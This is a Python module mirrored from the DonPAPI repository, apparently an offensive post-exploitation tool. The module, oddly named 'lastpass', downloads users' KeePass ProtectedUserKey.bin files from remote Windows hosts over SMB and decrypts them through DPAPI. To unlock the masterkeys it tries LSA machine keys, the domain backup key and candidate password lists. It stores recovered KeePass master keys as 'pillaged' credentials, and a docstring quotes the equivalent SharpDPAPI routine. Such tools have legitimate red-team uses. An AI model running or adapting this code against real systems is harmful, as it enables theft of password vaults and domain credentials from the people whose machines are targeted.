mirror of
https://github.com/login-securite/DonPAPI
synced 2025-02-01 04:01:58 +00:00
356 lines
23 KiB
Python
356 lines
23 KiB
Python
#%UserProfile%\AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0
|
|
|
|
'''decryption info comes from From Triage.cs of SharpDPAPI - HarmJ0y <3
|
|
voir aussi l'utilisation avec keytheft https://github.com/GhostPack/KeeThief'''
|
|
|
|
import ntpath
|
|
import LnkParse3
|
|
from donpapi.lib.toolbox import bcolors
|
|
from donpapi.lib.fileops import MyFileOps
|
|
import copy
|
|
from donpapi.lib.dpapi import *
|
|
from impacket.uuid import string_to_bin
|
|
|
|
class lastpass():
|
|
def __init__(self,smb,myregops,myfileops,logger,options,db,users):
|
|
self.myregops = myregops
|
|
self.myfileops = myfileops
|
|
self.logging = logger
|
|
self.options = options
|
|
self.db = db
|
|
self.users = users
|
|
self.smb = smb
|
|
self.keepass_password = None
|
|
|
|
|
|
def run(self):
|
|
self.get_files()
|
|
#self.process_files()
|
|
#self.decrypt_all()
|
|
|
|
def get_files(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering New Module Secrets {bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
|
|
user_directories = [("Users\\{username}\\AppData\\Roaming\\KeePass\\", ('ProtectedUserKey.bin')),
|
|
]
|
|
machine_directories = []
|
|
|
|
for user in self.users:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Looking for {user.username} ")
|
|
if user.username == 'MACHINE$':
|
|
directories_to_use = machine_directories
|
|
continue
|
|
else:
|
|
directories_to_use = user_directories
|
|
|
|
for info in directories_to_use:
|
|
my_dir, my_mask = info
|
|
tmp_pwd = my_dir.format(username=user.username)
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
|
|
for mask in my_mask:
|
|
my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
self.logging.debug("ls returned file %s" % longname)
|
|
if longname not in blacklist and not is_directory:
|
|
try:
|
|
# Downloading file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
|
|
self.process_file(localfile,user,longname)
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
|
|
|
|
def process_file(self,localfile,user,longname):
|
|
'''
|
|
public static void TriageKeePassKeyFile(Dictionary<string, string> MasterKeys, string keyFilePath = "", bool unprotect = false) {
|
|
|
|
if (!File.Exists(keyFilePath))
|
|
return;
|
|
|
|
var lastAccessed = File.GetLastAccessTime(keyFilePath);
|
|
var lastModified = File.GetLastWriteTime(keyFilePath);
|
|
|
|
Console.WriteLine(" File : {0}", keyFilePath);
|
|
Console.WriteLine(" Accessed : {0}", lastAccessed);
|
|
Console.WriteLine(" Modified : {0}", lastModified);
|
|
|
|
byte[] keyFileBytes = File.ReadAllBytes(keyFilePath);
|
|
|
|
// entropy from KeePass source https://fossies.org/windows/misc/KeePass-2.47-Source.zip/KeePassLib/Keys/KcpUserAccount.cs (lines 44-47)
|
|
byte[] keyBytes = Dpapi.DescribeDPAPIBlob(keyFileBytes, MasterKeys, "keepass", unprotect, Helpers.ConvertHexStringToByteArray("DE135B5F18A34670B2572429698898E6"));
|
|
if(keyBytes.Length > 0)
|
|
{
|
|
Console.WriteLine(" Key Bytes : {0}", BitConverter.ToString(keyBytes).Replace("-"," "));
|
|
}
|
|
}
|
|
'''
|
|
try:
|
|
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
myoptions.masterkeys = None # user.masterkeys_file
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
guid = mydpapi.find_CredentialFile_masterkey()
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}")
|
|
if guid != None:
|
|
masterkey = self.get_masterkey(user=user, guid=guid, type='DOMAIN')
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
mydpapi.options.key = masterkey['key']
|
|
cred_data = mydpapi.decrypt_blob(entropy=string_to_bin('DE135B5F18A34670B2572429698898E6'))
|
|
if cred_data != None:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} KeePass Password {longname}{bcolors.ENDC}")
|
|
user.files[longname]['status'] = 'decrypted'
|
|
user.files[longname]['data'] = cred_data
|
|
self.db.add_credz(credz_type='KEEPASS-MASTERKEY',credz_username=user.username.decode('utf-8'),redz_password=cred_data.decode('utf-8'),credz_target='',credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username)
|
|
self.keepass_password=cred_data.decode('utf-8')
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
|
|
return 1
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ProcessFile {localfile}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def get_masterkey(self, user, guid, type):
|
|
guid = guid.lower()
|
|
if guid not in user.masterkeys_file:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
|
|
return -1
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found")
|
|
if user.masterkeys_file[guid]['status'] == 'decrypted':
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
|
|
return user.masterkeys_file[guid]
|
|
elif user.masterkeys_file[guid]['status'] == 'encrypted':
|
|
return self.decrypt_masterkey(user, guid, type)
|
|
|
|
def decrypt_masterkey(self, user, guid, type=''):
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type})")
|
|
guid = guid.lower()
|
|
if guid not in user.masterkeys_file:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
|
|
return -1
|
|
localfile = user.masterkeys_file[guid]['path']
|
|
|
|
if user.masterkeys_file[guid]['status'] == 'decrypted':
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
if user.type_validated == True:
|
|
type = user.type
|
|
|
|
if type == 'MACHINE':
|
|
# Try de decrypt masterkey file
|
|
for key in self.machine_key:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}")
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.sid = None # user.sid
|
|
myoptions.username = user.username
|
|
myoptions.pvk = None
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
myoptions.key = key.decode("utf-8")
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey()
|
|
if decrypted_masterkey != None and decrypted_masterkey != -1:
|
|
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" )
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
# user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'MACHINE'
|
|
user.type_validated = True
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
else:
|
|
if user.type_validated == False:
|
|
self.decrypt_masterkey(user, guid, type='MACHINE-USER')
|
|
|
|
elif type == 'MACHINE-USER':
|
|
# Try de decrypt masterkey file
|
|
for key in self.user_key:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid ))
|
|
try:
|
|
# key1, key2 = deriveKeysFromUserkey(tsid, userkey)
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
if user.is_adconnect is True:
|
|
myoptions.key = key.decode("utf-8")
|
|
myoptions.sid = user.sid
|
|
else:
|
|
myoptions.key = key.decode("utf-8") # None
|
|
myoptions.sid = None # user.sid
|
|
|
|
myoptions.username = user.username
|
|
myoptions.pvk = None
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey()
|
|
if decrypted_masterkey != -1 and decrypted_masterkey != None:
|
|
# self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
# user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'MACHINE-USER'
|
|
user.type_validated = True
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
else:
|
|
if user.type_validated == False and not user.is_adconnect:
|
|
return self.decrypt_masterkey(user, guid, type='DOMAIN')
|
|
|
|
elif type == 'DOMAIN' and self.options.pvk is not None:
|
|
# For ADConnect
|
|
if user.is_adconnect is True:
|
|
return self.decrypt_masterkey(user, guid, type='MACHINE-USER')
|
|
# Try de decrypt masterkey file
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}")
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
myoptions.username = user.username
|
|
myoptions.sid = user.sid
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey()
|
|
if decrypted_masterkey != -1 and decrypted_masterkey != None:
|
|
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey)
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
# user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'DOMAIN'
|
|
user.type_validated = True
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with="DOMAIN-PVK",
|
|
decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}")
|
|
if user.type_validated == False:
|
|
return self.decrypt_masterkey(user, guid, 'LOCAL')
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}")
|
|
self.logging.debug(f"exception was : {ex}")
|
|
if user.type_validated == False:
|
|
return self.decrypt_masterkey(user, guid, 'LOCAL')
|
|
|
|
# type==LOCAL
|
|
# On a des credz
|
|
if len(self.options.credz) > 0 and user.masterkeys_file[guid][
|
|
'status'] != 'decrypted': # localfile not in user.masterkeys:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz")
|
|
for username in self.options.credz:
|
|
if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[user.username])} credz for user {user.username}")
|
|
# for test_cred in self.options.credz[user.username]:
|
|
try:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file")
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
# myoptions.password = self.options.credz[username]
|
|
myoptions.sid = user.sid
|
|
myoptions.pvk = None
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username])
|
|
if decrypted_masterkey != -1 and decrypted_masterkey != None:
|
|
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
# user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'LOCAL'
|
|
user.type_validated = True
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with=f"Password:{self.options.credz[username]}",
|
|
decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list")
|
|
self.logging.debug(ex)
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}")
|
|
# on a pas su le dechiffrer, mais on conseve la masterkey
|
|
'''if localfile not in user.masterkeys:
|
|
user.masterkeys[localfile] = None'''
|
|
if user.masterkeys_file[guid]['status'] == 'encrypted':
|
|
user.masterkeys_file[guid]['status'] = 'decryption_failed'
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'], decrypted_with='',
|
|
decrypted_value='',
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return -1
|
|
elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here
|
|
return user.masterkeys_file[guid]
|